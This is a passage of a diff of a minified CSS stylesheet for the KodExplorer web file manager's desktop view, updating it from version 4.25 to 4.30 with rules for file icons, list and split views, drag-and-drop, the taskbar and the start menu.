.file-continer.file-draging-box .file-list-icon .file.file-select-drag-temp.hover .filename{background:none;}@media screen and (max-width:100000px){div.file-list-icon div.file{ display:inline-block;max-height:none;vertical-align:inherit;float:inherit;height:inherit;}}#taskbar{height:32px;position:fixed;bottom:0;left:0;width:100%;padding:0;margin:0;background:url('../../../images/common/desktop/taskbarbg.png');}#taskbar a{position:absolute;text-align:center;width:40px;height:40px;left:6px;}.taskbar-right{position:fixed;right:0px;bottom:-1px;z-index:99999;}.taskbar-right .copyright{float:left;cursor:pointer;color:#fff;padding-top:6px;font-size:20px;z-index:999;width:35px;height:21px;text-align:center;opacity:0.8;filter:alpha(opacity=80);}.taskbar-right .copyright:hover{text-shadow:0 0 10px #fff;opacity:1.0;filter:alpha(opacity=100);}.taskbar-right .tab-hide-all{width:23px;height:30px;border-radius:4px;cursor:pointer;border:1px solid rgba(255,255,255,0.4);float:right;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.taskbar-right .tab-hide-all:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 10px #fff;}.start{background:url('../../../images/common/desktop/start.png') 0 0px no-repeat;display:block;margin-top:-8px;z-index:10000;border-radius:20px;width:40px;height:40px;bottom:0px;left:5px;position:fixed;}.start:hover{text-decoration:none;background-position:0 -40px;}.start:active{text-decoration:none;background-position:0 -80px;}#random-wallpaper{position:absolute;width:40px;height:60px;bottom:30px;right:25px;z-index:10;}#random-wallpaper .flower{width:40px;z-index:3;position:absolute;top:0;cursor:pointer;left:0;}#random-wallpaper .body-line{width:5px;height:30px;position:absolute;bottom:0;left:18px;background-color:#fff;z-index:2;}#menuwin{position:absolute;left:0;bottom:33px;display:none;z-index:9999;height:405px;width:400px;}#menuwin #startmenu{border:solid 1px #102a3e;display:block;width:100%;height:100%;opacity:0.9;filter:alpha(opacity=90);position:absolute;bottom:0px;z-index:-1;-webkit-border-radius:5px;box-shadow:inset 0 0 1px #fff;-webkit-box-shadow:inset 0 0 1px #fff;background-color:#619bb9;background:-webkit-gradient(linear,center top,center bottom,from(#327aa4),color-stop(45%,#2e4b5a),to(#5cb0dc));background:rgba(0,0,0,0.5);}#menuwin #leftspliter{margin:0 15px 0 15px;border-top:solid 1px #d6e5f5;}#menuwin #rightspliter{margin:0 7px 0 7px;border-top:solid 1px #596d77;}#menuwin #links,#menuwin #programs{padding:0;list-style:none;}#menuwin #programs{background:#fff;border:solid 1px #365167;height:385px;float:left;margin:7px 0 7px 7px;box-shadow:0 0 1px #fff;width:250px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:0 0 1px #fff;-moz-box-shadow:0 0 1px #fff;}#menuwin #programs a{border:solid 1px transparent;display:block;padding:3px;height:30px;line-height:30px;margin:3px 10px;color:#4b4b4b;text-decoration:none;}#menuwin #programs a:hover{border:solid 1px #7da2ce;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:inset 0 0 1px #fff;-moz-box-shadow:inset 0 0 1px #fff;box-shadow:inset 0 0 1px #fff;background-color:#cfe3fd;background:-webkit-gradient(linear,center top,center bottom,from(#dcebfd),to(#c2dcfd));}#menuwin #programs a img{border:0;vertical-align:middle;margin:0 5px 0 0;}#menuwin #links{float:left;margin-left:10px;margin-top:-50px;}#menuwin #links li.icon{height:60px;}#menuwin #links a{border:solid 1px transparent;display:block;margin:5px 0;position:relative;color:#fff;text-decoration:none;min-width:120px;}#menuwin #links a:hover{border:solid 1px #000;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:0 0 1px #fff;-moz-box-shadow:0 0 1px #fff;box-shadow:0 0 1px #fff;background-color:#658da0;background:-webkit-gradient(linear,0% 100%,100% 100%,from(#517384),color-stop(50%,#79a3b8),to(#517384));}#menuwin #links a:hover span{background:-webkit-gradient(linear,center top,center bottom,from(transparent),color-stop(49%,transparent),color-stop(50%,rgba(2,37,58,0.5)),to(rgba(63,111,135,0.5)));}#menuwin #links a span{padding:5px;padding-left:10px;display:block;}@media (max-width:743px){#menuwin{ width:350px;} #menuwin #programs{ width:200px;}} -/* ver 4.25(2017-12-04) [build 1512368387.2173] */ \ No newline at end of file +/* power by kodexplorer ver 4.30(2018-07-05) [build 1530795188.3856] */ +@import url('./fileIcon.css'); +@import url('./common.css'); +.select-container{position:absolute;cursor:default;width:0px;height:0px;border:1px solid #005ec9;background-color:#63acff;z-index:1000;opacity:0.5;filter:alpha(opacity=50);}.select-container:hover{cursor:default;}.file-draging{position:absolute;left:0;top:0px;z-index:1000;pointer-events:none;opacity:0.95;}.file-draging.file-list-icon,.file-draging.file-list-list,.file-draging.file-list-split{z-index:1000;overflow:visible;}.file-draging.file-list-icon div.file,.file-draging.file-list-list div.file,.file-draging.file-list-split div.file{clear:both;position:absolute;margin:0;transition:none !important;}.file-draging.file-list-icon div.file.handle_target,.file-draging.file-list-list div.file.handle_target,.file-draging.file-list-split div.file.handle_target{z-index:999;}.draggable-dragging{z-index:9999;clear:both !important;pointer-events:none;position:absolute !important;padding:5px;opacity:0.9;filter:alpha(opacity=90);background:#4285f4;border-radius:3px;color:#fff;box-shadow:3px 5px 15px rgba(0,0,0,0.2);font-size:1.15em;}.draggable-dragging .drag-number{display:none;}.draggable-dragging#drag-action-clear{box-shadow:none;color:#333;background:#def;}.draggable-dragging span{line-height:25px;padding-left:5px;padding-right:15px;}.draggable-dragging span .font-icon{display:inline-block;width:22px;height:22px;text-align:center;line-height:22px;color:#fff;font-size:1.0em;font-weight:800;margin-right:10px;border-radius:12px;}.draggable-dragging span .bg-default{background:#b9e0ff;color:#4285f4;}.draggable-dragging span .bg-ok{background:#6ee273;}.draggable-dragging span .bg-error{background:#FB2500;}.draggable-dragging span b{padding-right:15px;}.item-file-draging{opacity:0.5;filter:alpha(opacity=50);}.selectDragDraging .file-list-icon .file-select-drag-temp{transform:scale(1.1,1.1);}.file-continer{margin-bottom:40px;}.file-continer .file .filename .title.db-click-rename{cursor:text;}.file-continer .file .item-menu{display:none;position:absolute;right:4px;top:4px;width:14px;height:14px;box-sizing:content-box;text-align:center;border:1px solid #ddd;background:#fff;cursor:pointer;z-index:50;border-radius:2px;}.file-continer .file .item-menu:hover{border-color:#3399ff;background:#dff1ff;box-shadow:0 0 5px rgba(0,0,0,0.1);}.file-continer .file .item-menu:hover .cert{border-top-color:#3399ff;}.file-continer .file .item-menu .cert{margin-top:5px;margin-left:3px;width:0;height:0;border-left:4px solid transparent;border-right:4px solid transparent;border-top:5px solid silver;}.file-continer .file .item-select{display:none;position:absolute;right:4px;top:4px;width:14px;height:14px;box-sizing:content-box;text-align:center;border:1px solid #ddd;background:#fff;cursor:pointer;z-index:50;border-radius:2px;padding:2px;left:5px;border-radius:50%;background:rgba(0,0,0,0.05);border:none;color:#fff;}.file-continer .file .item-select:hover{border-color:#3399ff;background:#dff1ff;box-shadow:0 0 5px rgba(0,0,0,0.1);}.file-continer .file .item-select:hover .cert{border-top-color:#3399ff;}.file-continer .file .item-select .cert{margin-top:5px;margin-left:3px;width:0;height:0;border-left:4px solid transparent;border-right:4px solid transparent;border-top:5px solid silver;}.file-continer .file .item-select:hover{color:#fff;background:rgba(0,0,0,0.2);box-shadow:none;}.file-continer .file .item-select .item-check{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;font-size:12px;text-shadow:none;}.file-continer .file .item-select .item-check:after{content:"\f00c";position:relative;top:-1px;}.file-continer .file.hover .item-menu,.file-continer .file.select .item-menu,.file-continer .file.file-select-drag-temp .item-menu{display:block;}.file-continer .file.hover .item-select,.file-continer .file.select .item-select,.file-continer .file.file-select-drag-temp .item-select{display:block;}.file-continer .file.select .item-select{color:#fff;background:#3b8cff;}.file-continer .file.file-not-exists{opacity:0.8;}.file-continer .file.file-not-exists .path-self-share{display:none;}.file-continer .file.file-not-exists:before{content:"已失效";z-index:999;font-size:12px;padding:2px 4px;background:#888;color:#fff;position:absolute;left:0px;top:4px;box-shadow:0 0 3px rgba(0,0,0,0.3);}.file-continer .file.file-not-exists .title{opacity:0.5;}.file-continer.file-list-split .file .item-menu{top:4px;right:4px;}.file-continer.file-list-split .file .item-select{top:4px;right:25px;left:auto;}.file-continer.file-list-list .file .item-menu{top:5px;right:5px;}.file-continer.file-list-list .file .item-select{top:5px;right:25px;left:auto;}.file-list-icon{padding:10px 20px 0 10px;display:flex;justify-content:space-between;flex-wrap:wrap;align-items:flex-start;}.file-list-icon:after{width:82px;content:"";display:block;}.file-list-icon .flex-empty{width:75px;border:1px solid transparent;margin:0;margin-right:10px;margin-bottom:10px;visibility:hidden;height:0 !important;}.file-list-icon .meta-info{height:22.5px;width:22.5px;margin-right:6.75px;margin-top:-22.5px;position:absolute;right:0;}.file-list-icon .meta-info img{width:100%;height:100%;}.file-list-icon .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;width:60px;height:75px;text-decoration:none;margin:0;margin-right:10px;margin-bottom:10px;overflow:hidden;float:left;}.file-list-icon .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.file-list-icon .file.hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.file-list-icon .file .filename{width:60px;cursor:default;text-align:center;word-break:break-all;font-size:1.0em;margin:0 auto;line-height:1.5em;padding-bottom:5px;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:3;}.file-list-icon .file .filename .textarea{position:absolute;font-size:1.0em;text-align:center;margin-left:-1px;margin-top:-3px;}.file-list-icon .file .filename #pathRenameTextarea,.file-list-icon .file .filename .newfile{width:60px;padding:0px 0 4px 0;margin-top:0px;overflow-y:hidden;border:1px solid #888;font-size:1.0em;text-align:center;line-height:1.5em;position:absolute;z-index:999;margin-top:2px;border-bottom-left-radius:3px;border-bottom-right-radius:3px;}.file-list-icon .file .filename #pathRenameTextarea:focus,.file-list-icon .file .filename .newfile:focus{outline:none;}.file-list-icon .file.select,.file-list-icon .file.file-select-drag-temp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.file-list-icon .file.file-icon-edit{overflow:visible;}.file-list-icon .file.file-icon-edit .filename{position:absolute;z-index:99;}.file-list-icon .file .ico{height:60px;width:60px;padding-top:4px;text-align:center;vertical-align:middle;display:table-cell;}.file-list-icon .file .ico img{height:100% \9;max-height:100%;max-width:100%;border-radius:5px;}.file-list-icon .file .ico.picture{background:none;width:50px;padding-left:5px;}.file-list-icon .file .ico.picture img{-webkit-box-shadow:1px 1px 5px rgba(0,0,0,0.2);-moz-box-shadow:1px 1px 5px rgba(0,0,0,0.2);box-shadow:1px 1px 5px rgba(0,0,0,0.2);width:100% \9;max-width:100%;border-radius:0px;position:relative;top:50%;transform:translateY(-50%);}.file-list-icon .file .ico.picture img.lazyload-ready{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;}@media screen and (max-width:100000px){div.file-list-icon div.file{ display:inline-block;max-height:152px;vertical-align:top;float:none;height:auto;}}.context-menu-item.set-file-icon-size .box-size-smallx{font-size:0.9em;}.context-menu-item.set-file-icon-size .box-size-small{font-size:1.0em;}.context-menu-item.set-file-icon-size .box-size-default{font-size:1.15em;}.context-menu-item.set-file-icon-size .box-size-big{font-size:1.25em;}.context-menu-item.set-file-icon-size .box-size-bigx{font-size:1.35em;}#list-type-header{z-index:5;position:absolute;width:100%;top:85px;}#main-title{background:#fff;border-bottom:1px solid #e3e3e3;box-shadow:0 2px 10px rgba(0,0,0,0.06);}#main-title .box-shadow(1px 2px 15px #dde) + div{cursor:pointer;overflow:hidden;}#main-title div span{float:right;margin-right:8px;margin-top:0px;}#main-title .filename,#main-title .filesize,#main-title .filetype,#main-title .filetime{float:left;cursor:pointer;overflow:hidden;line-height:25px;height:25px;border-right:1px solid #eee;padding-left:10px;margin-left:-10px;font-size:1.0em;color:#448;}#main-title .filename:hover,#main-title .filesize:hover,#main-title .filetype:hover,#main-title .filetime:hover{background:#eee;}#main-title .resize{float:left;width:20px;cursor:col-resize;margin-left:-10px;height:25px;z-index:9999;position:relative;}#main-title .current{background:rgba(0,0,0,0.8);}#main-title .filename{width:250px;padding-left:20px;margin-left:0px;}#main-title .filetype{width:80px;}#main-title .filesize{width:80px;text-align:right;padding-left:0px;padding-right:10px;}#main-title .filetime{width:150px;padding-right:6px;}#main-title .filesize span{margin-right:0px;}#main-title .this{font-weight:800;background:#eee;}.file-list-list,.file-list-split{padding-top:5px;z-index:0;padding-left:10px;}.file-list-list .file,.file-list-split .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);margin-left:0;-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;height:25px;}.file-list-list .file .ico,.file-list-split .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.file-list-list .file2,.file-list-split .file2{background:#edf5ff;}.file-list-list .hover,.file-list-split .hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.file-list-list .select,.file-list-list .file-select-drag-temp,.file-list-split .select,.file-list-split .file-select-drag-temp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.file-list-list .select .children-more i.font-icon,.file-list-list .file-select-drag-temp .children-more i.font-icon,.file-list-split .select .children-more i.font-icon,.file-list-split .file-select-drag-temp .children-more i.font-icon{color:#63acff !important;}.file-list-list .meta-info,.file-list-split .meta-info{display:inline-block;width:15px;height:15px;padding:0;position:relative;top:6px;margin:0px 0 0 -15px;}.file-list-list .meta-info img,.file-list-split .meta-info img{width:100%;height:100%;}.file-list-list .file,.file-list-split .file{width:80%;overflow:hidden;height:27px;}.file-list-list .file .ico,.file-list-list .file .filename,.file-list-list .file .filetype,.file-list-list .file .filesize,.file-list-list .file .filetime,.file-list-list .file .children-more,.file-list-split .file .ico,.file-list-split .file .filename,.file-list-split .file .filetype,.file-list-split .file .filesize,.file-list-split .file .filetime,.file-list-split .file .children-more{float:left;line-height:28px;height:28px;font-size:1.0em;cursor:default;overflow:hidden;padding-left:15px;}.file-list-list .file .children-more,.file-list-split .file .children-more{width:20px;height:28px;text-align:center;padding-left:0px;}.file-list-list .file .children-more i.font-icon,.file-list-split .file .children-more i.font-icon{font-size:15px;color:#aaa;cursor:pointer;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;}.file-list-list .file .children-more i.font-icon::after,.file-list-split .file .children-more i.font-icon::after{content:"\f0da";}.file-list-list .file .children-more i.font-icon.cert-open::after,.file-list-split .file .children-more i.font-icon.cert-open::after{content:"\f0d7";}.file-list-list .file .children-more i.font-icon:hover,.file-list-split .file .children-more i.font-icon:hover{background:rgba(0,0,0,0.05);color:#63acff;}.file-list-list .file.loading-children .ico .x-item-file,.file-list-split .file.loading-children .ico .x-item-file{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.file-list-list .file .filetype,.file-list-split .file .filetype{width:90px;}.file-list-list .file .filesize,.file-list-split .file .filesize{width:90px;text-align:right;padding-left:0px;padding-right:10px;}.file-list-list .file .filetime,.file-list-split .file .filetime{width:200px;}.file-list-list .file .filename,.file-list-split .file .filename{width:240px;padding-left:0px;white-space:nowrap;text-overflow:ellipsis;}.file-list-list .file .filename .textarea,.file-list-split .file .filename .textarea{font-size:1.0em;display:inline-block;margin-left:-2px;}.file-list-list .file .filename #pathRenameTextarea,.file-list-list .file .filename .newfile,.file-list-split .file .filename #pathRenameTextarea,.file-list-split .file .filename .newfile{height:24px;line-height:24px;z-index:999;width:200px;min-width:150px;border:none;font-size:1.0em;padding-left:2px;padding-top:2px;}.file-list-list .file .filename #pathRenameTextarea:focus,.file-list-list .file .filename .newfile:focus,.file-list-split .file .filename #pathRenameTextarea:focus,.file-list-split .file .filename .newfile:focus{outline:none;}.file-list-list .file .filename .title,.file-list-split .file .filename .title{word-break:break-all;}.file-list-list .file .ico,.file-list-split .file .ico{height:20px;width:20px;padding:0px;line-height:20px;margin-right:4px;margin-top:4px;text-align:center;vertical-align:bottom;display:table-cell;}.file-list-list .file .ico img,.file-list-split .file .ico img{height:100% \9;max-height:100%;max-width:100%;}.file-list-list .file .filename .textarea{position:absolute;}.line-split-box{position:absolute;bottom:0px;right:0px;left:0px;top:0px;margin-top:0;overflow:hidden;}.line-split-box .split-line{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;float:left;height:100%;}.file-list-split{overflow:hidden;}.file-list-split .file{width:97.5%;height:24px;margin-left:0.7%;position:relative;}.file-list-split .file.file2{background:none;}.file-list-split .file .ico,.file-list-split .file .filename,.file-list-split .file .filetype,.file-list-split .file .filesize,.file-list-split .file .filetime,.file-list-split .file .children-open{line-height:22px;height:22px;}.file-list-split .file .ico{margin-left:5px;margin-top:3px;}.file-list-split .file .ico img{margin-top:-6px;}.file-list-split .file .filename{width:100%;}.file-list-split .file .filename span.title{position:absolute;overflow:hidden;padding-left:2px;}.file-list-split .file .filename #pathRenameTextarea,.file-list-split .file .filename .newfile{height:23px;line-height:23px;}.file-list-split .file .filename .title .textarea{margin-top:-2px;}.file-list-split .file .children-open{width:20px;height:28px;text-align:center;padding-left:0px;background:rgba(255,255,255,0.4);position:absolute;right:0;}.file-list-split .file .children-open i.font-icon{font-size:1.25em;color:#aaa;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;-webkit-font-smoothing:antialiased;}.file-list-split .file .children-open i.font-icon::before{content:"\f0da";line-height:24px;}.file-list-split .file.select-split-parent{background:#e3f0ff;border:1px solid #c9e2ff;}.file-list-split .file.select-split-parent .children-open i.font-icon::before{content:"\f101";font-size:20px;}.file-list-split .split-box{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;overflow:hidden;position:absolute;bottom:0px;left:0px;top:0px;border-bottom:5px solid transparent;}.file-list-split .split-box .content{overflow:auto;height:100%;margin:2px 0px 10px 0px;}.file-list-split .split-box.split-hover{background:#eef7ff;background:rgba(0,0,0,0.01);box-shadow:0 0 100px #eef7ff inset;border-bottom:5px solid #acd9ff;}.file-list-split .split-box.split-select{background:#dff0ff;background:rgba(0,0,0,0.01);box-shadow:0 0 40px #dff0ff inset;margin-left:-1px;border-left:1px solid #eee;border-color:#acd9ff;border-bottom:5px solid #2196F3;}.file-list-split .is-drag-split .split-drag{background:rgba(100,100,100,0.2);}.file-list-split .split-drag{position:absolute;top:0px;right:0px;bottom:0px;width:4px;cursor:col-resize;z-index:55;background:url("../../../images/common/resize.png") 2px 50% no-repeat;}.file-list-split .content-more{height:100px;position:relative;}.children-list-dropover{position:relative;z-index:10 !important;padding-right:2px;outline:1px solid #2196F3;}.children-list-dropover.menu-body-main{outline:1px solid #2196F3;box-shadow:inset 0 0 2px #2196F3, inset 0 0 3px #2196F3;margin-bottom:1px;}.file-select-over-temp{z-index:50 !important;outline:1px solid #2196F3 !important;}.file-list-split .file .children-open i.font-icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.file-list-split .file .children-open i.font-icon:before{display:none \9\0;}.file-list-split .file.select-split-parent .children-open i.font-icon{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;height:20px \9\0;}.file-list-list .file .children-more i.font-icon,.file-list-split .file .children-more i.font-icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.file-list-list .file .children-more i.font-icon::after,.file-list-split .file .children-more i.font-icon::after{display:none \9\0;}.file-list-list .file .children-more i.font-icon.cert-open,.file-list-split .file .children-more i.font-icon.cert-open{background:url("../../../images/common/tree.png") no-repeat -15px -350px \9\0;}.file-list-list .file .children-more i.font-icon:hover,.file-list-split .file .children-more i.font-icon:hover{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;}.file-list-list .file .children-more i.font-icon.cert-open:hover,.file-list-split .file .children-more i.font-icon.cert-open:hover{background:url("../../../images/common/tree.png") no-repeat -47px -350px \9\0;}html,body{overflow:hidden;overflow-x:hidden;overflow-y:hidden;}body#page-desktop .topbar{background:#eee;background-color:rgba(190,190,190,0.3);box-shadow:0 0 10px rgba(0,0,0,0.2);}body#page-desktop .topbar .content{border-bottom:1px solid #ddd;border-bottom-color:transparent;}body#page-desktop .topbar .content .topbar-menu{color:#fff;border-color:rgba(190,190,190,0.1);}body#page-desktop .topbar .content .topbar-menu,body#page-desktop .topbar .content .topbar-menu.font-icon{text-shadow:0px 0px 0px #fff, 0px 0px 4px #000;}body#page-desktop .topbar .content .top-right div.share-info-user{color:#fff;}body#page-desktop .topbar .content .open .topbar-menu,body#page-desktop .topbar .content .topbar-menu:hover,body#page-desktop .topbar .content .topbar-menu.this{background:rgba(255,255,255,0.3);}body#page-desktop .full-background{display:none !important;}body#page-desktop .full-background-wall{position:absolute;overflow:hidden;z-index:0;display:block !important;-webkit-transition:all ease-in-out .4s;-moz-transition:all ease-in-out .4s;-o-transition:all ease-in-out .4s;-ms-transition:all ease-in-out .4s;transition:all ease-in-out .4s;background-size:cover;background-repeat:no-repeat;background-position:center;height:100%;width:100%;}body#page-desktop .full-background-wall img{position:absolute;width:1px;height:1px;}body#page-desktop .full-background-wall:before{background:none;}.desktop .file-list-icon{position:absolute;width:100%;bottom:-5px;top:40px;overflow:auto;}.desktop .file-list-icon .file{float:none;color:#fff;border:none;display:inline-block;writing-mode:lr-tb;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;-o-transition:all 0.3s;-ms-transition:all 0.3s;transition:all 0.3s;text-shadow:0px 0px 0px #fff, 0px 0px 2px #000, 0px 0px 4px #000;}.desktop .file-list-icon .file .filename{padding-bottom:1px;}.desktop .file-list-icon .file.hover{background:#fff \9;background:rgba(255,255,255,0.2);background-color:#aaa\9;border:none;color:#fff;}.desktop .file-list-icon .file.select,.desktop .file-list-icon .file.file-select-drag-temp,.desktop .file-list-icon .file.select.hover,.desktop .file-list-icon .file.file-select-drag-temp.hover{background:#fff \9;background:rgba(255,255,255,0.4);border:none;color:#fff;background-color:#eee\9;color:#444\9;}.desktop .file-list-icon .file.select .filename,.desktop .file-list-icon .file.file-select-drag-temp .filename,.desktop .file-list-icon .file.select.hover .filename,.desktop .file-list-icon .file.file-select-drag-temp.hover .filename{background:none;}body .file-continer.file-draging-box .file-list-icon .file{float:none;color:#fff;border:none;display:inline-block;text-shadow:0px 0px 0px #fff, 0px 0px 2px #000, 0px 0px 4px #000;}body .file-continer.file-draging-box .file-list-icon .file .filename{padding-bottom:1px;}body .file-continer.file-draging-box .file-list-icon .file.hover{background:#fff \9;background:rgba(255,255,255,0.2);background-color:#aaa\9;border:none;color:#fff;}body .file-continer.file-draging-box .file-list-icon .file.select,body .file-continer.file-draging-box .file-list-icon .file.file-select-drag-temp,body .file-continer.file-draging-box .file-list-icon .file.select.hover,body .file-continer.file-draging-box .file-list-icon .file.file-select-drag-temp.hover{background:#fff \9;background:rgba(255,255,255,0.4);border:none;color:#fff;background-color:#eee\9;color:#444\9;}body .file-continer.file-draging-box .file-list-icon .file.select .filename,body .file-continer.file-draging-box .file-list-icon .file.file-select-drag-temp .filename,body .file-continer.file-draging-box .file-list-icon .file.select.hover .filename,body .file-continer.file-draging-box .file-list-icon .file.file-select-drag-temp.hover .filename{background:none;}@media screen and (max-width:100000px){div.file-list-icon div.file{ display:inline-block;max-height:none;vertical-align:inherit;float:inherit;height:inherit;}}#taskbar{height:32px;position:fixed;bottom:0;left:0;width:100%;padding:0;margin:0;background:url('../../../images/common/desktop/taskbarbg.png');}#taskbar a{position:absolute;text-align:center;width:40px;height:40px;left:6px;}.taskbar-right{position:fixed;right:0px;bottom:-1px;z-index:99999;}.taskbar-right .copyright{float:left;cursor:pointer;color:#fff;padding-top:6px;font-size:20px;z-index:999;width:35px;height:21px;text-align:center;opacity:0.8;filter:alpha(opacity=80);}.taskbar-right .copyright:hover{text-shadow:0 0 10px #fff;opacity:1.0;filter:alpha(opacity=100);}.taskbar-right .tab-hide-all{width:23px;height:30px;border-radius:4px;cursor:pointer;border:1px solid rgba(255,255,255,0.4);float:right;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.taskbar-right .tab-hide-all:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 10px #fff;}.start{background:url('../../../images/common/desktop/start.png') 0 0px no-repeat;display:block;margin-top:-8px;z-index:10000;border-radius:20px;width:40px;height:40px;bottom:0px;left:5px;position:fixed;}.start:hover{text-decoration:none;background-position:0 -40px;}.start:active{text-decoration:none;background-position:0 -80px;}#random-wallpaper{position:absolute;width:40px;height:60px;bottom:30px;right:25px;z-index:10;}#random-wallpaper .flower{width:40px;z-index:3;position:absolute;top:0;cursor:pointer;left:0;}#random-wallpaper .body-line{width:5px;height:30px;position:absolute;bottom:0;left:18px;background-color:#fff;z-index:2;}#menuwin{position:absolute;left:0;bottom:33px;display:none;z-index:9999;height:405px;width:400px;}#menuwin #startmenu{border:solid 1px 